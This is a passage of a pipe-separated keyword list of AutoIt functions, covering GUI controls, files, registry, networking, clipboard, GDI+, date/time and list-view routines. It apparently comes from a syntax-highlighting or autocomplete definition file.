eateDummy|GUICtrlCreateEdit|GUICtrlCreateGraphic|GUICtrlCreateGroup|GUICtrlCreateIcon|GUICtrlCreateInput|GUICtrlCreateLabel|GUICtrlCreateList|GUICtrlCreateListView|GUICtrlCreateListViewItem|GUICtrlCreateMenu|GUICtrlCreateMenuItem|GUICtrlCreateMonthCal|GUICtrlCreateObj|GUICtrlCreatePic|GUICtrlCreateProgress|GUICtrlCreateRadio|GUICtrlCreateSlider|GUICtrlCreateTab|GUICtrlCreateTabItem|GUICtrlCreateTreeView|GUICtrlCreateTreeViewItem|GUICtrlCreateUpdown|GUICtrlDelete|GUICtrlGetHandle|GUICtrlGetState|GUICtrlRead|GUICtrlRecvMsg|GUICtrlRegisterListViewSort|GUICtrlSendMsg|GUICtrlSendToDummy|GUICtrlSetBkColor|GUICtrlSetColor|GUICtrlSetCursor|GUICtrlSetData|GUICtrlSetFont|GUICtrlSetDefColor|GUICtrlSetDefBkColor|GUICtrlSetGraphic|GUICtrlSetImage|GUICtrlSetLimit|GUICtrlSetOnEvent|GUICtrlSetPos|GUICtrlSetResizing|GUICtrlSetState|GUICtrlSetStyle|GUICtrlSetTip|GUIDelete|GUIGetCursorInfo|GUIGetMsg|GUIGetStyle|GUIRegisterMsg|GUISetAccelerators()|GUISetBkColor|GUISetCoord|GUISetCursor|GUISetFont|GUISetHelp|GUISetIcon|GUISetOnEvent|GUISetState|GUISetStyle|GUIStartGroup|GUISwitch|Hex|HotKeySet|HttpSetProxy|HWnd|InetGet|InetGetSize|IniDelete|IniRead|IniReadSection|IniReadSectionNames|IniRenameSection|IniWrite|IniWriteSection|InputBox|Int|IsAdmin|IsArray|IsBinary|IsBool|IsDeclared|IsDllStruct|IsFloat|IsHWnd|IsInt|IsKeyword|IsNumber|IsObj|IsPtr|IsString|Log|MemGetStats|Mod|MouseClick|MouseClickDrag|MouseDown|MouseGetCursor|MouseGetPos|MouseMove|MouseUp|MouseWheel|MsgBox|Number|ObjCreate|ObjEvent|ObjGet|ObjName|Opt|Ping|PixelChecksum|PixelGetColor|PixelSearch|PluginClose|PluginOpen|ProcessClose|ProcessExists|ProcessGetStats|ProcessList|ProcessSetPriority|ProcessWait|ProcessWaitClose|ProgressOff|ProgressOn|ProgressSet|Ptr|Random|RegDelete|RegEnumKey|RegEnumVal|RegRead|RegWrite|Round|Run|RunAs|RunAsWait|RunWait|Send|SendKeepActive|SetError|SetExtended|ShellExecute|ShellExecuteWait|Shutdown|Sin|Sleep|SoundPlay|SoundSetWaveVolume|SplashImageOn|SplashOff|SplashTextOn|Sqrt|SRandom|StatusbarGetText|StderrRead|StdinWrite|StdioClose|StdoutRead|String|StringAddCR|StringCompare|StringFormat|StringInStr|StringIsAlNum|StringIsAlpha|StringIsASCII|StringIsDigit|StringIsFloat|StringIsInt|StringIsLower|StringIsSpace|StringIsUpper|StringIsXDigit|StringLeft|StringLen|StringLower|StringMid|StringRegExp|StringRegExpReplace|StringReplace|StringRight|StringSplit|StringStripCR|StringStripWS|StringToBinary|StringTrimLeft|StringTrimRight|StringUpper|Tan|TCPAccept|TCPCloseSocket|TCPConnect|TCPListen|TCPNameToIP|TCPRecv|TCPSend|TCPShutdown|TCPStartup|TimerDiff|TimerInit|ToolTip|TrayCreateItem|TrayCreateMenu|TrayGetMsg|TrayItemDelete|TrayItemGetHandle|TrayItemGetState|TrayItemGetText|TrayItemSetOnEvent|TrayItemSetState|TrayItemSetText|TraySetClick|TraySetIcon|TraySetOnEvent|TraySetPauseIcon|TraySetState|TraySetToolTip|TrayTip|UBound|UDPBind|UDPCloseSocket|UDPOpen|UDPRecv|UDPSend|UDPShutdown|UDPStartup|VarGetType|WinActivate|WinActive|WinClose|WinExists|WinFlash|WinGetCaretPos|WinGetClassList|WinGetClientSize|WinGetHandle|WinGetPos|WinGetProcess|WinGetState|WinGetText|WinGetTitle|WinKill|WinList|WinMenuSelectItem|WinMinimizeAll|WinMinimizeAllUndo|WinMove|WinSetOnTop|WinSetState|WinSetTitle|WinSetTrans|WinWait|WinWaitActive|WinWaitClose|WinWaitNotActive|ArrayAdd|ArrayBinarySearch|ArrayConcatenate|ArrayDelete|ArrayDisplay|ArrayFindAll|ArrayInsert|ArrayMax|ArrayMaxIndex|ArrayMin|ArrayMinIndex|ArrayPop|ArrayPush|ArrayReverse|ArraySearch|ArraySort|ArraySwap|ArrayToClip|ArrayToString|ArrayTrim|ChooseColor|ChooseFont|ClipBoard_ChangeChain|ClipBoard_Close|ClipBoard_CountFormats|ClipBoard_Empty|ClipBoard_EnumFormats|ClipBoard_FormatStr|ClipBoard_GetData|ClipBoard_GetDataEx|ClipBoard_GetFormatName|ClipBoard_GetOpenWindow|ClipBoard_GetOwner|ClipBoard_GetPriorityFormat|ClipBoard_GetSequenceNumber|ClipBoard_GetViewer|ClipBoard_IsFormatAvailable|ClipBoard_Open|ClipBoard_RegisterFormat|ClipBoard_SetData|ClipBoard_SetDataEx|ClipBoard_SetViewer|ClipPutFile|ColorConvertHSLtoRGB|ColorConvertRGBtoHSL|ColorGetBlue|ColorGetGreen|ColorGetRed|Date_Time_CompareFileTime|Date_Time_DOSDateTimeToArray|Date_Time_DOSDateTimeToFileTime|Date_Time_DOSDateTimeToStr|Date_Time_DOSDateToArray|Date_Time_DOSDateToStr|Date_Time_DOSTimeToArray|Date_Time_DOSTimeToStr|Date_Time_EncodeFileTime|Date_Time_EncodeSystemTime|Date_Time_FileTimeToArray|Date_Time_FileTimeToDOSDateTime|Date_Time_FileTimeToLocalFileTime|Date_Time_FileTimeToStr|Date_Time_FileTimeToSystemTime|Date_Time_GetFileTime|Date_Time_GetLocalTime|Date_Time_GetSystemTime|Date_Time_GetSystemTimeAdjustment|Date_Time_GetSystemTimeAsFileTime|Date_Time_GetSystemTimes|Date_Time_GetTickCount|Date_Time_GetTimeZoneInformation|Date_Time_LocalFileTimeToFileTime|Date_Time_SetFileTime|Date_Time_SetLocalTime|Date_Time_SetSystemTime|Date_Time_SetSystemTimeAdjustment|Date_Time_SetTimeZoneInformation|Date_Time_SystemTimeToArray|Date_Time_SystemTimeToDateStr|Date_Time_SystemTimeToDateTimeStr|Date_Time_SystemTimeToFileTime|Date_Time_SystemTimeToTimeStr|Date_Time_SystemTimeToTzSpecificLocalTime|Date_Time_TzSpecificLocalTimeToSystemTime|DateAdd|DateDayOfWeek|DateDaysInMonth|DateDiff|DateIsLeapYear|DateIsValid|DateTimeFormat|DateTimeSplit|DateToDayOfWeek|DateToDayOfWeekISO|DateToDayValue|DateToMonth|DayValueToDate|DebugBugReportEnv|DebugOut|DebugSetup|Degree|EventLog__Backup|EventLog__Clear|EventLog__Close|EventLog__Count|EventLog__DeregisterSource|EventLog__Full|EventLog__Notify|EventLog__Oldest|EventLog__Open|EventLog__OpenBackup|EventLog__Read|EventLog__RegisterSource|EventLog__Report|FileCountLines|FileCreate|FileListToArray|FilePrint|FileReadToArray|FileWriteFromArray|FileWriteLog|FileWriteToLine|GDIPlus_ArrowCapCreate|GDIPlus_ArrowCapDispose|GDIPlus_ArrowCapGetFillState|GDIPlus_ArrowCapGetHeight|GDIPlus_ArrowCapGetMiddleInset|GDIPlus_ArrowCapGetWidth|GDIPlus_ArrowCapSetFillState|GDIPlus_ArrowCapSetHeight|GDIPlus_ArrowCapSetMiddleInset|GDIPlus_ArrowCapSetWidth|GDIPlus_BitmapCloneArea|GDIPlus_BitmapCreateFromFile|GDIPlus_BitmapCreateFromGraphics|GDIPlus_BitmapCreateFromHBITMAP|GDIPlus_BitmapCreateHBITMAPFromBitmap|GDIPlus_BitmapDispose|GDIPlus_BitmapLockBits|GDIPlus_BitmapUnlockBits|GDIPlus_BrushClone|GDIPlus_BrushCreateSolid|GDIPlus_BrushDispose|GDIPlus_BrushGetType|GDIPlus_CustomLineCapDispose|GDIPlus_Decoders|GDIPlus_DecodersGetCount|GDIPlus_DecodersGetSize|GDIPlus_Encoders|GDIPlus_EncodersGetCLSID|GDIPlus_EncodersGetCount|GDIPlus_EncodersGetParamList|GDIPlus_EncodersGetParamListSize|GDIPlus_EncodersGetSize|GDIPlus_FontCreate|GDIPlus_FontDispose|GDIPlus_FontFamilyCreate|GDIPlus_FontFamilyDispose|GDIPlus_GraphicsClear|GDIPlus_GraphicsCreateFromHDC|GDIPlus_GraphicsCreateFromHWND|GDIPlus_GraphicsDispose|GDIPlus_GraphicsDrawArc|GDIPlus_GraphicsDrawBezier|GDIPlus_GraphicsDrawClosedCurve|GDIPlus_GraphicsDrawCurve|GDIPlus_GraphicsDrawEllipse|GDIPlus_GraphicsDrawImage|GDIPlus_GraphicsDrawImageRect|GDIPlus_GraphicsDrawImageRectRect|GDIPlus_GraphicsDrawLine|GDIPlus_GraphicsDrawPie|GDIPlus_GraphicsDrawPolygon|GDIPlus_GraphicsDrawRect|GDIPlus_GraphicsDrawString|GDIPlus_GraphicsDrawStringEx|GDIPlus_GraphicsFillClosedCurve|GDIPlus_GraphicsFillEllipse|GDIPlus_GraphicsFillPie|GDIPlus_GraphicsFillRect|GDIPlus_GraphicsGetDC|GDIPlus_GraphicsGetSmoothingMode|GDIPlus_GraphicsMeasureString|GDIPlus_GraphicsReleaseDC|GDIPlus_GraphicsSetSmoothingMode|GDIPlus_GraphicsSetTransform|GDIPlus_ImageDispose|GDIPlus_ImageGetGraphicsContext|GDIPlus_ImageGetHeight|GDIPlus_ImageGetWidth|GDIPlus_ImageLoadFromFile|GDIPlus_ImageSaveToFile|GDIPlus_ImageSaveToFileEx|GDIPlus_MatrixCreate|GDIPlus_MatrixDispose|GDIPlus_MatrixRotate|GDIPlus_ParamAdd|GDIPlus_ParamInit|GDIPlus_PenCreate|GDIPlus_PenDispose|GDIPlus_PenGetAlignment|GDIPlus_PenGetColor|GDIPlus_PenGetCustomEndCap|GDIPlus_PenGetDashCap|GDIPlus_PenGetDashStyle|GDIPlus_PenGetEndCap|GDIPlus_PenGetWidth|GDIPlus_PenSetAlignment|GDIPlus_PenSetColor|GDIPlus_PenSetCustomEndCap|GDIPlus_PenSetDashCap|GDIPlus_PenSetDashStyle|GDIPlus_PenSetEndCap|GDIPlus_PenSetWidth|GDIPlus_RectFCreate|GDIPlus_Shutdown|GDIPlus_Startup|GDIPlus_StringFormatCreate|GDIPlus_StringFormatDispose|GetIP|GUICtrlAVI_Close|GUICtrlAVI_Create|GUICtrlAVI_Destroy|GUICtrlAVI_Open|GUICtrlAVI_OpenEx|GUICtrlAVI_Play|GUICtrlAVI_Seek|GUICtrlAVI_Show|GUICtrlAVI_Stop|GUICtrlButton_Click|GUICtrlButton_Create|GUICtrlButton_Destroy|GUICtrlButton_Enable|GUICtrlButton_GetCheck|GUICtrlButton_GetFocus|GUICtrlButton_GetIdealSize|GUICtrlButton_GetImage|GUICtrlButton_GetImageList|GUICtrlButton_GetState|GUICtrlButton_GetText|GUICtrlButton_GetTextMargin|GUICtrlButton_SetCheck|GUICtrlButton_SetFocus|GUICtrlButton_SetImage|GUICtrlButton_SetImageList|GUICtrlButton_SetSize|GUICtrlButton_SetState|GUICtrlButton_SetStyle|GUICtrlButton_SetText|GUICtrlButton_SetTextMargin|GUICtrlButton_Show|GUICtrlComboBox_AddDir|GUICtrlComboBox_AddString|GUICtrlComboBox_AutoComplete|GUICtrlComboBox_BeginUpdate|GUICtrlComboBox_Create|GUICtrlComboBox_DeleteString|GUICtrlComboBox_Destroy|GUICtrlComboBox_EndUpdate|GUICtrlComboBox_FindString|GUICtrlComboBox_FindStringExact|GUICtrlComboBox_GetComboBoxInfo|GUICtrlComboBox_GetCount|GUICtrlComboBox_GetCurSel|GUICtrlComboBox_GetDroppedControlRect|GUICtrlComboBox_GetDroppedControlRectEx|GUICtrlComboBox_GetDroppedState|GUICtrlComboBox_GetDroppedWidth|GUICtrlComboBox_GetEditSel|GUICtrlComboBox_GetEditText|GUICtrlComboBox_GetExtendedUI|GUICtrlComboBox_GetHorizontalExtent|GUICtrlComboBox_GetItemHeight|GUICtrlComboBox_GetLBText|GUICtrlComboBox_GetLBTextLen|GUICtrlComboBox_GetList|GUICtrlComboBox_GetListArray|GUICtrlComboBox_GetLocale|GUICtrlComboBox_GetLocaleCountry|GUICtrlComboBox_GetLocaleLang|GUICtrlComboBox_GetLocalePrimLang|GUICtrlComboBox_GetLocaleSubLang|GUICtrlComboBox_GetMinVisible|GUICtrlComboBox_GetTopIndex|GUICtrlComboBox_InitStorage|GUICtrlComboBox_InsertString|GUICtrlComboBox_LimitText|GUICtrlComboBox_ReplaceEditSel|GUICtrlComboBox_ResetContent|GUICtrlComboBox_SelectString|GUICtrlComboBox_SetCurSel|GUICtrlComboBox_SetDroppedWidth|GUICtrlComboBox_SetEditSel|GUICtrlComboBox_SetEditText|GUICtrlComboBox_SetExtendedUI|GUICtrlComboBox_SetHorizontalExtent|GUICtrlComboBox_SetItemHeight|GUICtrlComboBox_SetMinVisible|GUICtrlComboBox_SetTopIndex|GUICtrlComboBox_ShowDropDown|GUICtrlComboBoxEx_AddDir|GUICtrlComboBoxEx_AddString|GUICtrlComboBoxEx_BeginUpdate|GUICtrlComboBoxEx_Create|GUICtrlComboBoxEx_CreateSolidBitMap|GUICtrlComboBoxEx_DeleteString|GUICtrlComboBoxEx_Destroy|GUICtrlComboBoxEx_EndUpdate|GUICtrlComboBoxEx_FindStringExact|GUICtrlComboBoxEx_GetComboBoxInfo|GUICtrlComboBoxEx_GetComboControl|GUICtrlComboBoxEx_GetCount|GUICtrlComboBoxEx_GetCurSel|GUICtrlComboBoxEx_GetDroppedControlRect|GUICtrlComboBoxEx_GetDroppedControlRectEx|GUICtrlComboBoxEx_GetDroppedState|GUICtrlComboBoxEx_GetDroppedWidth|GUICtrlComboBoxEx_GetEditControl|GUICtrlComboBoxEx_GetEditSel|GUICtrlComboBoxEx_GetEditText|GUICtrlComboBoxEx_GetExtendedStyle|GUICtrlComboBoxEx_GetExtendedUI|GUICtrlComboBoxEx_GetImageList|GUICtrlComboBoxEx_GetItem|GUICtrlComboBoxEx_GetItemEx|GUICtrlComboBoxEx_GetItemHeight|GUICtrlComboBoxEx_GetItemImage|GUICtrlComboBoxEx_GetItemIndent|GUICtrlComboBoxEx_GetItemOverlayImage|GUICtrlComboBoxEx_GetItemParam|GUICtrlComboBoxEx_GetItemSelectedImage|GUICtrlComboBoxEx_GetItemText|GUICtrlComboBoxEx_GetItemTextLen|GUICtrlComboBoxEx_GetList|GUICtrlComboBoxEx_GetListArray|GUICtrlComboBoxEx_GetLocale|GUICtrlComboBoxEx_GetLocaleCountry|GUICtrlComboBoxEx_GetLocaleLang|GUICtrlComboBoxEx_GetLocalePrimLang|GUICtrlComboBoxEx_GetLocaleSubLang|GUICtrlComboBoxEx_GetMinVisible|GUICtrlComboBoxEx_GetTopIndex|GUICtrlComboBoxEx_InitStorage|GUICtrlComboBoxEx_InsertString|GUICtrlComboBoxEx_LimitText|GUICtrlComboBoxEx_ReplaceEditSel|GUICtrlComboBoxEx_ResetContent|GUICtrlComboBoxEx_SetCurSel|GUICtrlComboBoxEx_SetDroppedWidth|GUICtrlComboBoxEx_SetEditSel|GUICtrlComboBoxEx_SetEditText|GUICtrlComboBoxEx_SetExtendedStyle|GUICtrlComboBoxEx_SetExtendedUI|GUICtrlComboBoxEx_SetImageList|GUICtrlComboBoxEx_SetItem|GUICtrlComboBoxEx_SetItemEx|GUICtrlComboBoxEx_SetItemHeight|GUICtrlComboBoxEx_SetItemImage|GUICtrlComboBoxEx_SetItemIndent|GUICtrlComboBoxEx_SetItemOverlayImage|GUICtrlComboBoxEx_SetItemParam|GUICtrlComboBoxEx_SetItemSelectedImage|GUICtrlComboBoxEx_SetMinVisible|GUICtrlComboBoxEx_SetTopIndex|GUICtrlComboBoxEx_ShowDropDown|GUICtrlDTP_Create|GUICtrlDTP_Destroy|GUICtrlDTP_GetMCColor|GUICtrlDTP_GetMCFont|GUICtrlDTP_GetMonthCal|GUICtrlDTP_GetRange|GUICtrlDTP_GetRangeEx|GUICtrlDTP_GetSystemTime|GUICtrlDTP_GetSystemTimeEx|GUICtrlDTP_SetFormat|GUICtrlDTP_SetMCColor|GUICtrlDTP_SetMCFont|GUICtrlDTP_SetRange|GUICtrlDTP_SetRangeEx|GUICtrlDTP_SetSystemTime|GUICtrlDTP_SetSystemTimeEx|GUICtrlEdit_AppendText|GUICtrlEdit_BeginUpdate|GUICtrlEdit_CanUndo|GUICtrlEdit_CharFromPos|GUICtrlEdit_Create|GUICtrlEdit_Destroy|GUICtrlEdit_EmptyUndoBuffer|GUICtrlEdit_EndUpdate|GUICtrlEdit_Find|GUICtrlEdit_FmtLines|GUICtrlEdit_GetFirstVisibleLine|GUICtrlEdit_GetLimitText|GUICtrlEdit_GetLine|GUICtrlEdit_GetLineCount|GUICtrlEdit_GetMargins|GUICtrlEdit_GetModify|GUICtrlEdit_GetPasswordChar|GUICtrlEdit_GetRECT|GUICtrlEdit_GetRECTEx|GUICtrlEdit_GetSel|GUICtrlEdit_GetText|GUICtrlEdit_GetTextLen|GUICtrlEdit_HideBalloonTip|GUICtrlEdit_InsertText|GUICtrlEdit_LineFromChar|GUICtrlEdit_LineIndex|GUICtrlEdit_LineLength|GUICtrlEdit_LineScroll|GUICtrlEdit_PosFromChar|GUICtrlEdit_ReplaceSel|GUICtrlEdit_Scroll|GUICtrlEdit_SetLimitText|GUICtrlEdit_SetMargins|GUICtrlEdit_SetModify|GUICtrlEdit_SetPasswordChar|GUICtrlEdit_SetReadOnly|GUICtrlEdit_SetRECT|GUICtrlEdit_SetRECTEx|GUICtrlEdit_SetRECTNP|GUICtrlEdit_SetRectNPEx|GUICtrlEdit_SetSel|GUICtrlEdit_SetTabStops|GUICtrlEdit_SetText|GUICtrlEdit_ShowBalloonTip|GUICtrlEdit_Undo|GUICtrlHeader_AddItem|GUICtrlHeader_ClearFilter|GUICtrlHeader_ClearFilterAll|GUICtrlHeader_Create|GUICtrlHeader_CreateDragImage|GUICtrlHeader_DeleteItem|GUICtrlHeader_Destroy|GUICtrlHeader_EditFilter|GUICtrlHeader_GetBitmapMargin|GUICtrlHeader_GetImageList|GUICtrlHeader_GetItem|GUICtrlHeader_GetItemAlign|GUICtrlHeader_GetItemBitmap|GUICtrlHeader_GetItemCount|GUICtrlHeader_GetItemDisplay|GUICtrlHeader_GetItemFlags|GUICtrlHeader_GetItemFormat|GUICtrlHeader_GetItemImage|GUICtrlHeader_GetItemOrder|GUICtrlHeader_GetItemParam|GUICtrlHeader_GetItemRect|GUICtrlHeader_GetItemRectEx|GUICtrlHeader_GetItemText|GUICtrlHeader_GetItemWidth|GUICtrlHeader_GetOrderArray|GUICtrlHeader_GetUnicodeFormat|GUICtrlHeader_HitTest|GUICtrlHeader_InsertItem|GUICtrlHeader_Layout|GUICtrlHeader_OrderToIndex|GUICtrlHeader_SetBitmapMargin|GUICtrlHeader_SetFilterChangeTimeout|GUICtrlHeader_SetHotDivider|GUICtrlHeader_SetImageList|GUICtrlHeader_SetItem|GUICtrlHeader_SetItemAlign|GUICtrlHeader_SetItemBitmap|GUICtrlHeader_SetItemDisplay|GUICtrlHeader_SetItemFlags|GUICtrlHeader_SetItemFormat|GUICtrlHeader_SetItemImage|GUICtrlHeader_SetItemOrder|GUICtrlHeader_SetItemParam|GUICtrlHeader_SetItemText|GUICtrlHeader_SetItemWidth|GUICtrlHeader_SetOrderArray|GUICtrlHeader_SetUnicodeFormat|GUICtrlIpAddress_ClearAddress|GUICtrlIpAddress_Create|GUICtrlIpAddress_Destroy|GUICtrlIpAddress_Get|GUICtrlIpAddress_GetArray|GUICtrlIpAddress_GetEx|GUICtrlIpAddress_IsBlank|GUICtrlIpAddress_Set|GUICtrlIpAddress_SetArray|GUICtrlIpAddress_SetEx|GUICtrlIpAddress_SetFocus|GUICtrlIpAddress_SetFont|GUICtrlIpAddress_SetRange|GUICtrlIpAddress_ShowHide|GUICtrlListBox_AddFile|GUICtrlListBox_AddString|GUICtrlListBox_BeginUpdate|GUICtrlListBox_Create|GUICtrlListBox_DeleteString|GUICtrlListBox_Destroy|GUICtrlListBox_Dir|GUICtrlListBox_EndUpdate|GUICtrlListBox_FindInText|GUICtrlListBox_FindString|GUICtrlListBox_GetAnchorIndex|GUICtrlListBox_GetCaretIndex|GUICtrlListBox_GetCount|GUICtrlListBox_GetCurSel|GUICtrlListBox_GetHorizontalExtent|GUICtrlListBox_GetItemData|GUICtrlListBox_GetItemHeight|GUICtrlListBox_GetItemRect|GUICtrlListBox_GetItemRectEx|GUICtrlListBox_GetListBoxInfo|GUICtrlListBox_GetLocale|GUICtrlListBox_GetLocaleCountry|GUICtrlListBox_GetLocaleLang|GUICtrlListBox_GetLocalePrimLang|GUICtrlListBox_GetLocaleSubLang|GUICtrlListBox_GetSel|GUICtrlListBox_GetSelCount|GUICtrlListBox_GetSelItems|GUICtrlListBox_GetSelItemsText|GUICtrlListBox_GetText|GUICtrlListBox_GetTextLen|GUICtrlListBox_GetTopIndex|GUICtrlListBox_InitStorage|GUICtrlListBox_InsertString|GUICtrlListBox_ItemFromPoint|GUICtrlListBox_ReplaceString|GUICtrlListBox_ResetContent|GUICtrlListBox_SelectString|GUICtrlListBox_SelItemRange|GUICtrlListBox_SelItemRangeEx|GUICtrlListBox_SetAnchorIndex|GUICtrlListBox_SetCaretIndex|GUICtrlListBox_SetColumnWidth|GUICtrlListBox_SetCurSel|GUICtrlListBox_SetHorizontalExtent|GUICtrlListBox_SetItemData|GUICtrlListBox_SetItemHeight|GUICtrlListBox_SetLocale|GUICtrlListBox_SetSel|GUICtrlListBox_SetTabStops|GUICtrlListBox_SetTopIndex|GUICtrlListBox_Sort|GUICtrlListBox_SwapString|GUICtrlListBox_UpdateHScroll|GUICtrlListView_AddArray|GUICtrlListView_AddColumn|GUICtrlListView_AddItem|GUICtrlListView_AddSubItem|GUICtrlListView_ApproximateViewHeight|GUICtrlListView_ApproximateViewRect|GUICtrlListView_ApproximateViewWidth|GUICtrlListView_Arrange|GUICtrlListView_BeginUpdate|GUICtrlListView_CancelEditLabel|GUICtrlListView_ClickItem|GUICtrlListView_CopyItems|GUICtrlListView_Create|GUICtrlListView_CreateDragImage|GUICtrlListView_CreateSolidBitMap|GUICtrlListView_DeleteAllItems|GUICtrlListView_DeleteColumn|GUICtrlListView_DeleteItem|GUICtrlListView_DeleteItemsSelected|GUICtrlListView_Destroy|GUICtrlListView_DrawDragImage|GUICtrlListView_EditLabel|GUICtrlListView_EnableGroupView|GUICtrlListView_EndUpdate|GUICtrlListView_EnsureVisible|GUICtrlListView_FindInText|GUICtrlListView_FindItem|GUICtrlListView_FindNearest|GUICtrlListView_FindParam|GUICtrlListView_FindText|GUICtrlListView_GetBkColor|GUICtrlListView_GetBkImage|GUICtrlListView_GetCallbackMask|GUICtrlListView_GetColumn|GUICtrlListView_GetColumnCount|GUICtrlListView_GetColumnOrder|GUICtrlListView_GetColumnOrderArray|GUICtrlListView_GetColumnWidth|GUICtrlListView_GetCounterPage|GUICtrlListView_GetEditControl|GUICtrlListView_GetExtendedListViewStyle|GUICtrlListView_GetGroupInfo|GUICtrlListView_GetGroupViewEnabled|GUICtrlListView_GetHeader|GUICtrlListView_GetHotCursor|GUICtrlListView_GetHotItem|GUICtrlListView_GetHoverTime|GUICtrlListView_GetImageList|GUICtrlListView_GetISearchString|GUICtrlListView_GetItem|GUICtrlListView_GetItemChecked|GUICtrlListView_GetItemCount|GUICtrlListView_GetItemCut|GUICtrlListView_GetItemDropHilited|GUICtrlListView_GetItemEx|GUICtrlListView_GetItemFocused|GUICtrlListView_GetItemGroupID|GUICtrlListView_GetItemImage|GUICtrlListView_GetItemIndent|GUICtrlListView_GetItemParam|GUICtrlListView_GetItemPosition|GUICtrlListView_GetItemPositionX|GUICtrlListView_GetItemPositionY|GUICtrlListView_GetItemRect|GUICtrlListView_GetItemRectEx|GUICtrlListView_GetItemSelected|GUICtrlListView_GetItemSpacing|GUICtrlListView_GetItemSpacingX|GUICtrlListView_GetItemSpacingY|GUICtrlListView_GetItemState|GUICtrlListView_GetItemStateImage|GUICtrlListView_GetItemText|GUICtrlListView_GetItemTextArray|GUICtrlListView_GetItemTextString|GUICtrlListView_GetNextItem|GUICtrlListView_GetNumberOfWorkAreas|GUICtrlListView_GetOrigin|GUICtrlListView_GetOriginX|GUICtrlListView_GetOriginY|GUICtrlListView_GetOutlineColor|GUICtrlListView_GetSelectedColumn|GUICtrlListView_GetSelectedCount|GUICtrlListView_GetSelectedIndices|GUICtrlListView_GetSelectionMark|GUICtrlListView_GetStringWidth|GUICtrlListView_GetSubItemRect|GUICtrlListView_GetTextBkColor|GUICtrlListView_GetTextColor|GUICtrlListView_GetToolTips|GUICtrlListView_GetTopIndex|GUICtrlListView_GetUnicodeFormat|GUICtrlListView_GetView|GUICtrlListView_GetViewDetails|GUICtrlListView_GetViewLarge|GUICtrlListView_GetViewList|GUICtrlListView_GetViewRect|GUICtrlListView_GetViewSmall|GUICtrlListView_GetViewTile|GUICtrlListView_HideColumn|GUICtrlListView_HitTest|GUICtrlListView_InsertColumn|GUICtrlListView_InsertGroup|GUICtrlListView_InsertItem|GUICtrlListView_JustifyColumn|GUICtrlListView_MapIDToIndex|GUICtrlListView_MapIndexToID|GUICtrlListView_RedrawItems|GUICtrlListView_RegisterSortCallBack|GUICtrlListView_RemoveAllGroups|GUICtrlListView_RemoveGroup|GUICtrlListView_Scroll|GUICtrlListView_SetBkColor|GUICtrlListView_SetBkImage|GUICtrlListView_SetCallBackMask|GUICtrlListView_SetColumn|GUICtrlListView_SetColumnOrder|GUICtrlListView_SetColumnOrderArray|GUICtrlListView_SetColumnWidth|GUICtrlListView_SetExtendedListViewStyle|GUICtrlListView_SetGroupInfo|GUICtrlListView_SetHotItem|GUICtrlListView_SetHoverTime|GUICtrlListView_SetIconSpacing|GUICtrlListView_SetImageList|GUICtrlListView_SetItem|GUICtrlListView_SetItemChecked|GUICtrlListView_SetItemCount|GUICtrlListView_SetItemCut|GUICtrlListView_SetItemDropHilited|GUICtrlListView_SetItemEx|GUICtrlListView_SetItemFocused|GUICtrlListView_SetItemGroupID|GUICtrlListView_SetItemImage|GUICtrlListView_SetItemIndent|GUICtrlListView_SetItemParam|GUICtrlListView_SetItemPosition|GUICtrlListView_SetItemPosition32|GUICtrlListView_SetItemSelected|GUICtrlListView_SetItemState|GUICtrlListView_SetItemStateImage|GUICtrlListView_SetItemText|GUICtrlListView_SetOutlineColor|GUICtrlListView_SetSelectedColumn|GUICtrlListView_SetSelectionMark|GUICtrlListView_SetTextBkColor|GUICtrlListView_SetTextColor|GUICtrlListView_SetToolTips|GUICtrlListView_SetUnicodeFormat|GUICtrlListView_SetView|GUICtrlListView_SetWorkAreas|GUICtrlListView_SimpleSort|GUICtrlListView_SortItems|GUICtrlListView_SubItemHitTest|GUICtrlListView_UnRegisterSortCallBack|GUICtrlMenu_AddMenuItem|GUICtrlMenu_AppendMenu|GUICtrlMenu_CheckMenuItem|GUICtrlMenu_CheckRadioItem|GUICtrlMenu_CreateMenu|GUICtrlMenu_CreatePopup|GUICtrlMenu_DeleteMenu|GUICtrlMenu_DestroyMenu|GUICtrlMenu_DrawMenuBar|GUICtrlMenu_EnableMenuItem|GUICtrlMenu_FindItem|GUICtrlMenu_FindParent|GUICtrlMenu_GetItemBmp|GUICtrlMenu_GetItemBmpChecked|GUICtrlMenu_GetItemBmpUnchecked|GUICtrlMenu_GetItemChecked|GUICtrlMenu_GetItemCount|GUICtrlMenu_GetItemData|GUICtrlMenu_GetItemDefault|GUICtrlMenu_GetItemDisabled|GUICtrlMenu_GetItemEnabled|GUICtrlMenu_GetItemGrayed|GUICtrlMenu_GetItemHighlighted|GUICtrlMenu_GetItemID|GUICtrlMenu_GetItemInfo|GUICtrlMenu_GetItemRect|GUICtrlMenu_GetItemRectEx|GUICtrlMenu_GetItemState|GUICtrlMenu_GetItemStateEx|GUICtrlMenu_GetItemSubMenu|GUICtrlMenu_GetItemText|GUICtrlMenu_GetItemType|GUICtrlMenu_GetMenu|GUICtrlMenu_GetMenuBackground|GUICtrlMenu_GetMenuBarInfo|GUICtrlMenu_GetMenuContextHelpID|GUICtrlMenu_GetMenuData|GUICtrlMenu_GetMenuDefaultItem|GUICtrlMenu_GetMenuHeight|GUICtrlMenu_GetMenuInfo|GUICtrlMenu_GetMenuStyle|GUICtrlMenu_GetSystemMenu|GUICtrlMenu_InsertMenuItem|GUICtrlMenu_InsertMenuItemEx|GUICtrlMenu_IsMenu|GUICtrlMenu_LoadMenu|GUICtrlMenu_MapAccelerator|GUICtrlMenu_MenuItemFromPoint|GUICtrlMenu_RemoveMenu|GUICtrlMenu_SetItemBitmaps|GUICtrlMenu_SetItemBmp|GUICtrlMenu_SetItemBmpChecked|GUICtrlMenu_SetItemBmpUnchecked|GUICtrlMenu_SetItemChecked|GUICtrlMenu_SetItemData|GUICtrlMenu_SetItemDefault|GUICtrlMenu_SetItemDisabled|GUICtrlMenu_SetItemEnabled|GUICtrlMenu_SetItemGrayed|GUICtrlMenu_SetItemHighlighted|GUICtrlMenu_SetItemID|GUICtrlMenu_SetItemInfo|GUICtrlMenu_SetItemState|GUICtrlMenu_SetItemSubMenu|GUICtrlMenu_SetItemText|GUICtrlMenu_SetItemType|GUICtrlMenu_SetMenu|GUICtrlMenu_SetMenuBackground|GUICtrlMenu_SetMenuContextHelpID|GUICtrlMenu_SetMenuData|GUICtrlMenu_SetMenuDefaultItem|GUICtrlMenu_SetMenuHeight|GUICtrlMenu_SetMenuInfo|GUICtrlMenu_SetMenuStyle|GUICtrlMenu_TrackPopupMenu|GUICtrlMonthCal_Create|GUICtrlMonthCal_Destroy|GUICtrlMonthCal_GetColor|GUICtrlMonthCal_G